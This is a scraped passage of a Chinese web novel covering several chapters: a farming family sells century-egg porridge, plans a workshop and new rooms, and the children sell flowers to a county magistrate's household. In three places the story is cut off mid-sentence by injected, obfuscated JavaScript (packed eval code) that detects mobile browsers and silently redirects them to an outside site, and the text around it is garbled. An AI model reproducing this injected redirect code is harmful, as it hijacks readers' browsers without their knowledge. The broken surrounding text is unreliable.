“嘿嘿……”连后面跟着进来林义都忍不住缩缩脖子,有些心虚了。 “今天晚上学不完不许睡觉,你们自己吃过饭去看书吧。”林阿爷看见他们这幅模样,哪里还不知道,他们一定说是贪玩儿去了。 “哦……”刚才蹦得八丈高的人儿现在都是焉哒哒的了。 林知丝毫不慌,现在林阿爷教他们的内容对于她来说还是挺简单的,左右不过是些《千字文》、《三字经》,她读上几遍就能背住了。 “你们快尝尝,这是只只今天专门给大家做的皮蛋瘦肉粥和松花蛋拌豆腐。”罗氏适时解围。 “就是之前你捣鼓的那个啥皮蛋啊?”林三郎好奇地问林知道。 “对啊!我好像在哪篇书里看见过。”林知睁眼说瞎话,她越发觉得这个理由好用。 “以前倒是从未见过,大概是这门手艺没有传过来吧。你们别光看着啊,尝尝好不好吃吧。”林阿爷拿筷子拈了一块儿豆腐率先吃了。 林知知道古代信息交流不便,一些吃食的做法在外面很普遍,但有些地方却未必见过。 说罢,大家默契地动勺子吃粥。 一口下去只觉爽滑醇香,大米口感粘稠,咸香适中既有香菇的清爽,又有皮蛋的入口即化,还有肉丝的美味。 尤其适合早餐或者牙口不好没有什么食欲的老人。 大家连连称赞,又看向另一道菜。 一勺下去,白色的是豆腐,黑色的是皮蛋,上面颤巍巍抖着一些黄色的榨菜,在灯光下香油微微泛光,一口吞下去,滑腻的豆腐,绵密的皮蛋和爽脆的榨菜,不管是喝酒还是拌饭,都非常的适合。 林知感慨道:“这个松花蛋拌豆腐,如果在井水里冰镇一下,端出来非常适合炎热的夏天啊。” “其实我觉得这样也不错,咸香的粥配上爽口的菜,让人食指大开啊!”林义已经准备吃第二碗了。 “阿爷,你们是我们卖这个粥怎么样?”林知喝着喝着就提议道。 因着她这句话,大家还真认真思虑起来了。 “这个皮蛋难做吗?”林三郎问道。他没有看见林知他们做皮蛋,还真不清楚。 “还好,就是等的时间太长了。”林知摇头,她第一批皮蛋做好后,后续又做了不少,“但是仅靠我们自己做的话,肯定不够卖的。” 其实她也挺苦恼的,如果自家做,显然人手、场地都不够。如果开作坊,那就是为了醋包饺子了,不值当。 还有一个法子,就是把做皮蛋的方法交给大家,一做的人多了,就可以直接收购。但是这样也有一个问题,那就是很难保证质量和价格。 算了,还是先想好当下的事儿再说吧,林知想着剥开一个完整的皮蛋给他们看。 林阿爷放下碗筷, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17156706|194356||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 接过来看了看,眯了眯眼道:“可谓蛋清透亮似墨玉,松花柏枝入眼来,不错不错。” 林知接话,“除了做粥,还可以凉拌,有时放在汤里也是不错的滋味儿,还可以生吃下酒……” 旋即她又补充道:“不过也不能多吃,皮蛋性寒,吃多了小心会凉胃,对身体也不好。” “这个蛋会一直这种形态吗?”林仁好奇的问道,其实他是,想问会不会坏。 林知能理解他的意思,于是摇头,“这个放不了多久,几个月吧,皮蛋容易坏,而且要放在干燥、阴凉的地方保存。” 在制作松花蛋的过程中是不添加防腐剂的,所以这也就决定了松花蛋的保存时间不适合过长的。而且在保存的过程中要注意将它放置在干燥、阴凉的地方。避免高温的环境会使其变质。 “你们有什么想法都说说吧。” 林阿爷坐在一旁,摸了摸腰间绑着的烟袋,顶着林阿奶压迫性的眼神,还是挤出一撮来放进烟杆里点着。 他就这么看着林知,也不知道在想什么。 见大家似乎都没有什么想说的,林知先发言:“家里差不多有一百个鸭蛋了,应该可以用几天。” 她觉得还是可以把自己的想法说出来,虽然不太可行,万一大家可以给出建议呢,“我们可以建作坊啊!这样就可以做好多好多的皮蛋了。” 林家几个大人听见这话都瞪大了双眼,没想到林知的步子迈的这么大,家里才摆了摊,又要开作坊了。 倒是几个小孩子一点儿不觉得这是异想天开,初生牛犊不怕虎嘛! 林仁思考过后,斟酌地说:“我们可以不做那么大规模的,这样可以降低成本。” 一旁默默听他们商量的俞珩补充道:“比如,可以先算好一个月所需要的量,在月初就可以制作好一个月的量。每个月月初只需要这几天忙了。” “对!这样就不需要建专门的房子和雇人了,可以找村里的婶子、大娘们,付她们这几天的工钱就行。”林知恍然大悟。 “耶——”几个孩子欢呼,这个难题好像就这么被解决了。 林阿爷他们对视一眼,满脸惊讶和笑意,看到孩子们如此机灵,比解决了这个问题还值得开心。 问题解决了固然重要,但是孩子们的成长和思考问题的能力更让人惊喜。 林阿爷抚掌大笑,满意得不行,一连说了几个“好”字。 “行了,此事就这么定了。天色不早了,你们歇着去吧。”林阿奶最后说道。 夜里,等回了屋后,林阿爷并没有马上睡着。他翻来覆去,半晌,又起来点了油灯。 昏黄不定的烛火下,林阿爷把林阿奶拉起来,“我老是想着,家里孩子这么多,也长大了,我们再起几间房子怎么样?” 这几个月出乎意料的顺利,家里挣钱的速度比往年要快得多,所以建房子的钱还是有的。 原本睡着的林阿奶被叫起来有些脾气,一听见这话反而被转移了注意力。 他们家现在的房子还是当年林大郎娶媳妇儿的时候修的,共有六间,正中三大间,一间是堂屋,向阳的那间正房是林阿爷他们住的,另一边则是林大郎一家子住。 而东西两厢各有两间房,接着便是厨房、杂物间建在东边,顺着房子往下建的。 40. 第40章 “你看家里孩子大了,还跟他们爹娘挤在一起像什么话。尤其是老二一家子又填了两个孩子。”林阿爷轻声说道。 “家里的钱够吗?”林阿奶拉起被子又躺进了被窝,这样不是也可以说话,真是的,非把自己拽起来。 林阿爷就坐在床边说话。 他道:“之前老二做工带回来了些钱,那只老虎卖的加上家里最近赚的钱,少说也有小二百两了吧。就起四间房,两个孩子住一屋,这不刚刚好嘛。” 林阿奶用鼻音回了个“嗯”字,翻了个身,“还是问问家里孩子们的意见吧,万一他们不想修房子住在一起,等我们死了,各家还能分一大笔银子呢,拿来干什么不好?” 这话说的不好听,不过倒也有这个可能,林阿爷不再说话,自行歇了去。 第二天一大早林大郎他们就进城去了,林阿爷见现在不是时机,便也没有开口。 他背着手去教林仁他们读书,让他们知道这一篇怎么读以后就让他们先读熟,待会儿再讲其含义。 现在活儿不多,所以林知他们上课的时间越来越长,也是为了开春儿能送进学考虑,只有打好基础,读书才不会吃力。 上过课,他们下午就是干些杂活儿。尤其是他们的地还要开荒呢。 林知觉得现在自己的每一天都很充实,她满意的蹲在自己的花篮前,不少植株已经长出小花芽了,看来用不了多久就会开花了。 “为什么才一个多月,就长这么快了?”林知有些不解。 这种花大概只需要等待一个礼拜的时间就可以发根生长,养护周期需要两到三个月才可以完成开花。 【因为系统出品,必定优良。】要是老六有尾巴,也必定翘到天上去了。 “那这样我就不卖完了,试试它的种子能不能接着种。这样就不用偷偷摸摸从系统买种子,而且还可以节约一点积分。”林知若有所思地摸了摸下巴。 酢浆草的繁殖能力很强,养好一棵酢浆草,开完花后的叶子也要好好养,一粒球能生五到十粒小球不等。 【……宿主,我有一个好消息和坏消息,你想先听哪一个?】像是思虑了半晌才决定说出来一样,系统战战兢兢地问道。 “先说好消息吧,我喜欢先甜后苦。”林知脊背发寒,有些不好的预感。 【咳,因为宿主购买的种子是我们星际特产优良品种,所以它们才长得这么快。】 “然后呢?”林知不明所以,这不是挺好的嘛? 【所以它们不适合繁育……】系统的声音越来越小。 杂交的很多农作物,都是提高产量和抗性,完全忽略自留种繁殖。 很正常,种子本来就是会退化,加速退化的这种不留种作物产量更优秀,但是自留种的二代都很差劲,甚至不发芽。 “所以它们的种子不能再用了,然后我只能一遍又一遍的在你们这里买?”这不是奸商吗?林知咬牙切齿地说。 这关注点有点奇怪啊! 【不是不是……】系统急忙澄清,【第一,这种问题只会出现在宿主购买的优良产品上,其他产品是不会出现这种问题的。第二,这个种子说用也能用,就是后期可能会出现产量不稳定,环境不适应甚至可能会引发病虫害的问题。】 林知听明白了,她突然尖声道:“那我先前种的白菜萝卜怎么办?”还没等系统回答,她猛地站了起来,结果可能是因为蹲太久了的原因,头脑一阵眩晕。 正在窗户边看书的俞珩突然听见一声大叫,还被窗台处露出的小脑袋给吓了一跳。 他有些关切地问:“只只,你怎么了?” 林知一抬起头就对上一双黑幽幽的眸子,目光清澈如水,带着几分疑惑好奇探究。 林知缓了一下,抬起头来才跟站在窗边的俞珩说话,她摸了摸脑袋有些不好意思地笑了笑,“没事儿,就是突然想起来一件事。” 她连忙“蹬蹬蹬”地跑回房间,关上房门,扑到床上,动作一气呵成。 趴在床上抱着被子时却默默吐槽,刚才自己的嘀咕应该没有被听去吧? 过了这一遭,系统才不紧不慢地回答林知刚才的问题,【宿主放心,你之前买的白菜和萝卜种子都是正常的。】 她挪了挪位置,找了个最舒服的姿势。 “所以这才是你把它们拿出来送的理由吧?”林知语气幽幽地道,她就说嘛。 其实她对此还算接受良好,因为在未来,不少粮种公司为了自身的利益卖的良种也是经过了改变的。 可以购买到更高产更优良的种子,逐渐改变了千百年来人类自身留种的习惯。看似更好的方法,却陷入了种子被把控的境地。 系统望天不说话。 “那我想买的麦子种子怎么办?”想起这茬,林知痛心疾首地质问系统。 【宿主放心,我们不那么优质的种子还是可以使用的。】系统急忙顺毛。 “亩产量多少?”林知觉得还是数据更让人放心,直接了当地问它。 即使在同一地,因水利条件不同,土地高下不同,肥瘠不同,耕作勤惰不同,产量也有很大差异。而亩产量,当以平均数或一般常数为例,就可以大致看出这一代农业生产力的水平。 【能达到现在亩产量的三到四倍。】系统现在学聪明了,还是保守地报了个数。 林知了解过,现在的亩产量可以达到一石多,而换算成斤数。也就是说一亩地年收入七十多斤粮食,这是南方的水稻。而小麦产量比水稻低,一亩地一年的纯收入不到六十斤。 这个数字乍一看,没什么概念,但是拿现代的杂交水稻对比一下,就能清晰的知道有多低了。 杂交水稻实际亩产五六百公斤,还有更为特殊的亩产九百多公斤的“袁氏超级稻”。 难怪有人经常骂那些作妖的人是吃饱了没事儿干呢。林知无奈叹气,这个数字还是太低了,不过路还是要一步一步走。 她恢复了些精气神儿,突然想起来之前不是可以通过交易所买东西吗?比如那瓶药,麻醉剂和刀,后两个现在还乖乖躺在她空间里呢。 “系统,我们不可以从这种途径买种子吗?”林知疑惑好像系统从来没有说过这个方法。 【可以倒是可以,但是不能大量购买同一种物品,如果大量交易会被判定为掠夺其他世界的资源。】系统解释。 【为了系统的安全性,也为了保障其他智慧生物的权益,主系统制定了很严格的条例。】 不过具体的它并没有告诉林知,这也是它们系统的一部分权利。 林知在脑海里仔细梳理着她这些天从蛛丝马迹里获得的信息。 这个主系统禁止它们向其他世界输送远超于其位面的科技产品,以及对智慧生物的保护,这一点规定很严格,而且还要交大量的科技税。 同样的,对交易的数量有严格的限制,以杜绝未来的智慧生物对其他世界物资的掠夺。 还会发布以研究为目的的任务,以及发送下来的种子和收录回去的 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“这……”林大郎他们相互看了几眼,有些被这个消息震住了,没想到家里这么快要起新房子了。 林阿奶道:“我跟你们阿爹商量了一下,如果打算建房子就再建四间给底下的孩子们住。如果不打算建房子,等我们死后,你们分家就把这银子自行分了去,想干嘛干嘛。” “阿娘——”听见林阿奶说死不死的,他们有些急,又不知道怎么接话。 “大郎,你是长子,你来说……”林阿爷见大家都不知道说什么,于是点了林大郎的名字。 他们三个,老大虽然稳重,却不够聪明,老二虽然机灵但是为人顶老实。也就老三因为常到集市上卖些东西,所思所想要比老二还多一点,头脑活络,但是不够稳重。 现在分家是不可能想的。 林大郎站起来纠结的搅了搅衣袖,“我觉得还是建在一起吧,这样有个照应。而且孩子们长大以后的事情以后再说,我相信他们几个也还是有点本事,以后自己出去闯一闯……” 林阿爷赞同地点点头,的确,家里现在孩子多,根本住不下了,建房子是最好的选择。至于孙辈长大后的事儿,儿孙自有儿孙福。 见林大郎同意,底下几家人也表示赞成。 家里还是一块儿干的好,父母在,兄弟力一块儿使,挣钱其实比自家要快一点的。 家里现在做着豆腐生意,孩子们也在读书识字,以后还会进学堂,就算考不上官儿,大不了已经去学点手艺,不至于和他们一样还在土里刨食,住在乡下。 看来大家都同意了,林阿爷颔首,“因为是修的砖房,加上人工费和材料,所以这四间房预计要二三十两,现在那边床要新的,被褥也都要新的,加上置办里头的东西就再加十两。” “不过我们家最近也赚了不少钱,所以是完全够的。” 他们家现在也是砖房,只不过不是青瓦而已,那玩意儿还要花更多钱。既然要起新房,他们就打算干脆全部换了青瓦。 几个孩子最是兴奋,在下面不停地交头接耳,他们就要有自己的房间了。 林阿爷计划得特别好,“地方够大,把房子建得宽大点儿。” 这次他们打算在旁边扩建出去,直接把院子的那面墙推倒就行。 林大郎他们听得兴奋不已。 41. 第41章 说罢,林阿爷朝老妻使了一个眼色,林阿奶道:“既然说到建房子,那我们干脆把作坊一起规划进去,这样买材料请人啥的也方便。” “不过既然做了生意,年底的钱就不分了,暂时我们先攒着。” 卖老虎和豆腐生意的钱,林阿爷他们本来打算留到过年就分给各家用,现在既然要修房和作坊,需钱的地方多,就先不分了。 还沉浸在要住新房的大家一点儿意见都没有,纷纷举手赞成。 要建房子就得找村长和里长说一声,因为他们选的地方就在家隔壁,不是庄稼地,连钱都不用出。 这栋房子以前的宅基地还是林阿爷的爹娘选的,当初其实他们不住在这儿,为了林阿爷读书清净,特意搬到村边上的。 后来林阿爷再建房子的时候也就没有换地方了。 这块地是荒地,这些年谁也看不上这块地,自然不会在上面种东西了,以至于杂草丛生,石头还多。 而作坊的地址在林知的建议下,建在了东边邻水处,好在是下游,这样既方便用水,又不会污染环境。 因为林知的活跃,林阿奶便把她提溜去给作坊画规划了。 林知倒没有什么特殊的想法,她觉得主要是要地方大,这样以后不止做皮蛋,还可以拿来做点其他的。 要水缸、灶台、装东西的大缸,当然有可以储存东西的地窖就更好了。 “也行,以后需要什么再添置就行。”林家人大概看了一下规划图,实在提不出什么可建设的意见了,反正地方够大,以后再改进也是一样。 林阿爷选了个好日子决定动土,也当即通知起他想请的人到那天上门帮忙建房子。 被请的人都表示没问题。 现在也是入了冬,地里就没活儿干了,林家要建房子,他们正好可以有个收入,所以被请的人都很高兴。 于是大家开始在空地上割草,清理石头和各种杂物。 村里来帮忙的人都很是老实,人又多,活儿干起来一点儿不偷奸耍滑。才几天时间连着河边作坊的空地都收拾出来了,根本用不上林知他们。 既然收拾出空地,他们已经开始挖地基造房子了。 林知几个孩子在一旁看着最近牛车拉来一车一车的砖块,林家人来人往,热闹得不行。那是林二郎找了相熟的人专门在镇上给定的,还会便宜一些。 林知踩在已经用白线画成一块块格子的地基上,有些开心,“看这个规划,这些房间可真大啊!” 林义低头去看,“哪里大了,我觉得正好,爷奶都说好呢。” “喏,看到没,那就是我和大哥的房间,到时候中间弄个竹屏风隔出两间来,里面放床,中间就放桌椅板凳,偶尔还能拿来招呼客人。” 林知一想,点头,“这个法子不错,行吧,大一些就大一些吧。到时候我也要这么布置。”这样就有私人空间了。 从山上采下来的石头也陆陆续续送了下来,林家的房子开始建造。 一日天气晴好,林知发现自己的竹篮真的变成了花篮,低矮的植株长满整个篮子,叶子茂密碧绿青翠,小花繁多烂漫可爱。 远远望去,一丛丛,一团团,一簇簇,红的似火,粉的似霞,黄的似金,绿的似翠,它们争奇斗艳,在阳光下闪闪发光。 林知高兴不已,连忙去找她阿爹商量,明天去县里把自己捎上。 林家还是雷打不动地每天派一对人去县城卖豆花,这可是家里现在最主要的经济来源,可不能轻易放弃,少一天就是少两百多文的进项呢。 少算也有百来文。 对,还要捎两板豆腐,也能卖完。 所以,哪怕现在林家要建房子,想要抽出人来往县城去问题也不大。 因为冬日里,大家最不缺的是空闲时间。 堂屋里林家大人聚在一起,不过是在说盖房子的事,都是要请谁谁去采石,拉石,请谁谁去砍树等等。这些东西不能完全靠买,还有不少是从后山上运下来的。 林知就趴在窗台上往里看,见他们注意到了自己,她马上“蹬蹬蹬”地跑到屋里。 “阿爷,阿爹,我明天要去县城,我的花开了!”林知抱着林二郎的胳膊撒娇道。 “嗯嗯——”林二郎他们含糊地回答道。 也不知道听没听清楚,管他呢,反正明天得把自己带上。可是这么多她自己也带不走啊!林知转头径直朝着林义他们的屋走去。 她可以把二哥、三哥带上一起啊! 因为林仁在帮阿爷看着材料计算啥的,肯定没空搭理她,所以林知直接放弃找他的想法。 林义和林礼听见要去县城卖花也就答应了,毕竟他们也有一段时间没有进城玩儿了。 谁知知道哥哥姐姐们都要进城,林智和林敏也闹着要去。反正带一个也是带,带两个也是带,林知想着干脆把林慧也给带上。 于是毫不知情的林二郎夫妻第二天一早就看见六个孩子人手两篮花整整齐齐的站在门口等着上车,连车上也被塞了不少,真不知道该夸他们还是骂他们。 傻眼的林二郎道:“这么多人哪里坐得下,这是家里的生意,我可不会惯着你们啊!” 豪气的林知小手一挥,“阿爹,你放心,我们准备去坐二喜叔的牛车。你们就先走吧。” 林二喜是村里专门用牛车拉人去镇上或者县城的,一次两个铜板到县城。不过村里大多数人宁愿走上一个时辰也要节省那两个铜板就是了。 林知觉得自己的花应该能卖出去,这点信心她还是有的。花钱坐车去县城就是前期投资,这点花费她还是出得起的。 其他人附和着点点头,看他们一副铁了头要跟着去的模样,林二郎也没有办法。 不过还好他们遇上的是林二郎夫妻,要是其他任何一个人都把他们轰走了。 “行吧,你们的花我帮你们看顾,阿智和阿敏到我们这儿来坐吧,你们自己看着办就行。”车上有豆花,再塞俩个孩子已经是极限了。 “你们进了城不要乱跑,直接来找我们啊!”罗氏虽然不放心,但是也知道孩子大了,不能一味地约束,只有放手,他们才能成长。 不过,她还是细细叮嘱。 说不管,他们还真不是丢下不管了,夫妻俩还拜托林二喜照顾一下。 林知他们几个争先坐到林二喜的牛车上向着县城出发,虽然屁股被颠得不行,但还是兴奋不已。 一进城,林知就麻利地跑到了他们家的摊位上带走更多花篮,还不忘捎上林智和林敏,“阿娘,我们去卖花篮了!” 一串儿的孩子跟着跑了。 “阿姐,我们卖得出去吗?”林智跟在他姐后面,端着两盆花有些不确定地问。 “放心吧,一定可以的。再说了,卖不卖得出去又怎么样呢?我们还可以带回去自己欣赏对不对?”林知语气轻松地说。 “嗯……”林智他们忙不迭地点着小脑袋瓜,对林知信服 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17171234|194356||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不已。 他们径直来到了主街上,这里大多都是酒楼铺子,潜在客户多。 大街上可比刚才那条小街要热闹得多,而且卖什么东西的都有,几个孩子好奇的一路走,一路看,还发现路两边的人都在吆喝。 林知也扯着嗓子跟着喊,“卖花篮了,卖花篮了,好漂亮好漂亮的小花篮啦。” 她还没好气地瞪着木木的其他人,“你们也跟着喊啊,我们不说,大家怎么知道我们是卖东西的?” “嗯嗯,卖花篮啦——” 于是一群大人商贩中夹杂着一些小奶音,再加上他们拿着五颜六色的花着实赏心悦目,一下子就吸引了不少目光。 “小孩儿,你们这花怎么卖啊?”一个大叔模样的人好奇的问道。 林知见生意上门了,眼睛一亮,伸出一根手指说道:“一百文一盆。” 哪知大叔惊道,“这么贵啊?不就是花嘛?这都够买好多东西了,这不当吃不当喝的……” 林义正要上前说什么,还未开口就被林礼给拉到身后,林知丢给他一个“稍安勿躁”的眼神。 林知眉眼弯弯笑起来,“大叔,我们卖的就是花啊,这也是几个月细心培养出来的,成本可不小。再说,花市里的花贵的可比这个多多了。” “大叔如果觉得贵,可以再看看别家的哦!”林知补刀道。 周围看热闹的人直接笑出声。 见没有占便宜的机会,大叔撇了撇嘴,他本来就没有打算买,不过是看见一群小孩儿才心生逗弄的心思,此时被当做热闹一般看,他心下不爽,直接拂袖而去。 “倒是有趣——” 一位华服少年从酒楼门口走出来,他身后还跟着几位年纪相仿的同伴,刚才的热闹他们尽收眼底。 姜辰年纪不大与林仁相仿,白白胖胖的看起来就很富态。 林知打量几人后暗道,嗯,看起来就是待宰的小羊羔啊,她立马换上笑容。 “这位小郎君,你们要买花吗?” 姜辰打量了一下这群人,最大看看起来不过十岁,穿着并不富贵,他眯了眯眼,“对,我姓姜,你们的花我全都买了。” 林知他们带来的就十二盆,一百文一盆对于姜辰来说不是什么大钱,他随便玩玩都不止这些钱。 “全都要吗?”林知呆了一下接着问,“那我替你介绍一下吧,这个是……” 还没等林知说完,姜辰就不耐烦地打断她的话,“不必了,这花我是买来送人的,你们送到县衙就行了。” 后面的一群人见刚才说姜辰姓姜和县衙他们也没反应,显然是不知道他们的身份,所以此时一脸鄙夷。 想也是,一群乡巴佬,年纪又小,懂这些才怪呢。 果然,姜辰话刚完就在林义的脸上看到了一丝紧张和惶恐,而林知则是一脸的恍然大悟,原来是县令家的啊,难怪这么大方。 “算了,还是一起吧。”姜辰又改变了主意。 卖东西还是要尽心,所以林知决定跟他走一趟,于是她转过头来对林义耳语一番才答应,“好。” 林义拉着其他人就要走。 “阿姐,我陪你去。”林智扯了扯他姐的衣服。林知见他一脸倔强的模样,只好无奈答应。 姜辰奇怪地看了他们一眼,这是怕自己为难他们?自己看起来这么不像个好人吗? “行了,走吧。”他招呼后面的朋友和小厮来搬花,姜辰还亲自上手拿了一盆。 42. 第42章 这一举动让林知稍微对他感官好了一些,看来不是什么欺人的恶霸。 她默默地收回目光跟了上去。 县衙虽然是办公的地方,但是也是前衙后邸。 各县衙门均以大堂、二堂为知县行使权力的治事之堂,形成前衙。二堂之后则为内宅,是县官办公起居及家人居住之处。 不过,他们可不走大门。 一群人七拐八拐地到了一个后门,门口一个仆人开门恭敬地对姜辰行礼,“表少爷您回来了,我这就去通知夫人和大小姐。” “不用了,我自己进去就行。” 他随意地摆摆手,转过头对着他那群狐朋狗友嫌弃地道:“行了,你们自己回去吧,我姨父最不喜欢我跟你们一起玩儿了,被知道了我又要挨骂。” 林知看着后面几个人脸上隐忍不发又低头陪笑的样子只觉好笑,她努力地低着头默默减少自己的存在感。 一会儿就听见姜辰喊他们一起进去。 林知拉着林智目不斜视地跟着前面的姜辰。 四面抄手游廊,院中甬路相衔,山石点缀,竹影萧疏,倒是雅致。 姜辰老远就在大喊了,“姨母,我回来啦!快来看,我给怜表姐买了一些花……” 说着他快步走去,把林知他们都给抛到脑后了。 不过好在已经离得不远,林知他们随后就跟着进了前面的会客的主厅里,她目光一凝,看见了庙会那天上香的夫人。 因为她那独特的气质和身形很让人难忘,哪怕只看见了个背影。 江夫人打帘而来,后面跟着两个丫鬟。她一身青色素衣,不惹半点尘埃,细细柳眉,应是款款温柔。 “阿辰,你这是?”江夫人看见这一阵仗,脚步微顿。 姜辰一屁股就坐在椅子上,喝了一大口茶水才说话:“姨母,我前几天来见怜表姐有些不开心的样子,想着她不是最喜欢这些花花草草了嘛?我就专门寻了来讨她开心呢?” 姜辰腆着脸皮向江夫人解释道。 江夫人施施然坐在上首。 “所以你今日又没有去上学?”哪知江夫人没有先去关注花,而是皱眉问道。 姜辰有些心虚地搓了搓双手,今天的确不是休沐日,但是学堂讲的课他又不爱听,那夫子还无趣得很,这不一没忍住,他那几个狐朋狗友约他出去玩儿,他就去了。 江夫人见他这个样子,哪里还有不明白的,她有些生气的说:“你以后若还是这副不学无术的样子,我就把你遣回你父亲家。” 身后两个丫鬟低着头也不劝。 姜辰一听这话马上冲上去抱着他姨母的手臂,嚎道:“不要啊,姨母,我不喜欢那个女人,她老是欺负我,而且她还偷偷向我阿爹告状,还用我阿娘的东西,住我阿娘的屋子——” 林知和林智目瞪口呆地看着姜辰这么大个人了还赖在地上撒泼。 江夫人见他这个样子,心里却是心疼得不得了,自己的阿姐去得早,姐夫又纳新人,哪里顾得上这个侄子,所以姜辰从小性格都被养歪了。 之前还有他外祖父看顾,几个月前她父亲也去世了,家里最亲的也只剩下她这个姨母了。 林知他们进来就站在不显眼的地方,她绕有兴趣地看着他们,旋即又心下叹气,什么时候才能看到她啊? 自己赶时间呢。 江夫人气急,把侄儿从地上拉起来。 “站好,你这个年纪了还哭哭啼啼的像什么样子?”江夫人无奈地拿着帕子替姜辰擦脸,还不忘吩咐后面的丫鬟,“你去请小姐出来吧。” “是。”梳着双髻的绿衫少女行礼退下。 “请这两位小娘子和小郎君坐,秋实替他们上茶。”见姜辰不再赖皮,江夫人才转头对林知他们笑道:“小娘子是哪里人?” 林知拉着林智在椅子上规矩地坐下才笑着说:“回夫人,我们是长兴村的。” 江夫人愣愣地点头,显然不清楚这是哪儿,但是听名字应该是个村。不过她还是温柔地笑着问,“你们姐弟俩这么小就出来做生意吗?你们家大人呢?” 林知道:“这花是我们自己种的,家里大人忙,并没有空管我们。” 虽然江夫人温柔得让人心生好感,忍不住亲近,不过林知还是谨慎一点好,不要把自己的全部信息都透露出去。 正说着,一个娉娉婷婷的身影掀开帘子而来,十五六岁的少女一袭香云裙衫,鬓上簪着一朵素绢,竟是人比花娇。 “阿娘,辰表弟。”少女规范地行礼后,自然地挨着她娘坐下,这才好奇地打量起站在厅前的林知几人。 “这是我的女儿,郑怡怜,比你们略长几岁。”江夫人摸了摸郑怡怜的发丝向林知介绍道。 “郑小姐好,叫我林知就好,这是我的弟弟林智。”林知眉眼带笑地说。 郑怡怜则是一眼就看到摆放在地上的花,她不顾着坐了,而是上前两步细细地看。 “颜色娇艳,模样别致,倒是我前所未见。你这是什么花?”小姑娘直接蹲在地上凑得更近。 林知随着她的目光一一解释。 “这些花都叫酢浆草,不过还各有分类。比如这个叫银月,极少数有香味的酢浆草。” 果然,郑怡怜听见她的话,凑上去细细地闻,她眼睛一亮,“甜甜的香味,很特别。” 连一旁默默看着的江夫人和姜辰也被好奇的吸引了。 她又指着暗粉玫瑰色的有着黄色花喉的花,“这个叫朝霞,很容易爆盆。对光照要求非常低,可以从早开到晚。” 很多前世的名字不适合在这里用,所以林知略微的给它们换了一个比较贴切的名字。 郑怡怜也觉得这个名字十分贴切,这花就如朝霞一般,给人朦胧的感觉。 “这个叫蜜桃。”花朵大花瓣带着丝丝纹理,像极了少女娇羞的脸庞。 “这个是粉白桃。”林知挪了一下位置,用调皮的口吻解释道,“它的花朵会变色哦,温度低时为粉白,温度高时花朵呈白色。” 还没等江夫人他们惊讶,林知又接着说:“这是斑叶黄蝴蝶,因为它的叶子形似蝴蝶在扇动着翅膀而得名。” “真神奇啊!”连姜辰都惊叹,他只是随便在路边买的花都这么讲究了? “夫人,这个花冬天放在室内保持较暖的温度即可。酢浆草的花期挺长的,保证充足的光照,施肥后可以开两到三个月。就是……” 每到十月浅冬,除非家里匠人细心养殖的花,庭前篱外是已无半点花颜叶色可访。 所以郑怡怜是真心喜爱,听她话音说到一半,不由好奇地问道:“就是什么?” “就是这花我们也是第一次种植,卖给我们种子的人说,花败以后结的就是种子,不过种出来可能就没有先前的好看了……”林知委婉的表达。 哪知郑怡怜他们却是理解错了,以为林知是在说,这花卖给他们了,以后开出来的花他们卖家就不会再负责了。 其实也能理解,这开得好的花便宜也得一二两,更别提哪家花匠种出来些奇花异种也要到主家来讨赏,动辄也有个一两 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“这是个好问题,我们到时候去钱庄换铜板就行。” 不过不管怎么样,他们赚了很多钱就是了。 林义把所有的钱都放到一个专门带来的布袋里,摸了摸,兴奋得脸都红了。林智见了,也要摸一把,于是六个人轮流摸了一把铜钱,这才心满意足地道:“我们有钱了。” 对,这是他们的钱,不是家里的,大家欣然应允。 林义把钱袋子捂紧,几个孩子下意识地把他护在中间,一群人欢快地往回走。 “阿爹阿娘——” “二叔二叔母——” 几个人规规矩矩地走过来,林智和林敏想快些跑,突然一顿,硬生生地把脚步慢了下来。 就在罗氏奇怪他们今天这是怎么了,要是以前早就上蹿下跳了,就看见林义扛着一口袋的铜钱紧张兮兮地打开给他们看。 “这是?”林二郎凑上前看见一堆铜钱,内心也忍不住感慨和激动地问,“你们还真把花卖出去了啊!” 林知微抬下巴,冲她爹娘得意地笑道:“当然,我们可厉害了。” “行了行了,知道你们厉害了。快去给你们阿娘帮忙。”林二郎拍了一把她的脑袋,笑骂道。 “哼——”林知还没把银子拿出来给他们看呢,不过不急,于是她转身就跑来了。 43. 第43章 时间不早了,林记铺子上已经没有多少个人,罗氏正笑着一手收钱,一手给别人打豆花。见林知过来了,她擦了擦手,递过去一碗热腾腾的豆花,“你去给余夫人他们送去吧。” “诶。”林知应下,双手接过来。 来了一会儿的余姚瞧见,远远地就招手让她过来,“我看你们笑那么开心,是有什么喜事嘛?” 林知踱步走到他们的桌边坐下,她眨眨眼,“赚了大钱了。” 因为余姚夫妇常来,林知也时常来帮忙,两人又话多,一来二去就如相交多年的好友,无话不说了。 余姚并没有刨根地问她赚了多少钱。 “你们家这粥是怎么熬的,让人百吃不腻啊!”余姚知道他们家出了新菜样,颇有兴致地来尝鲜。 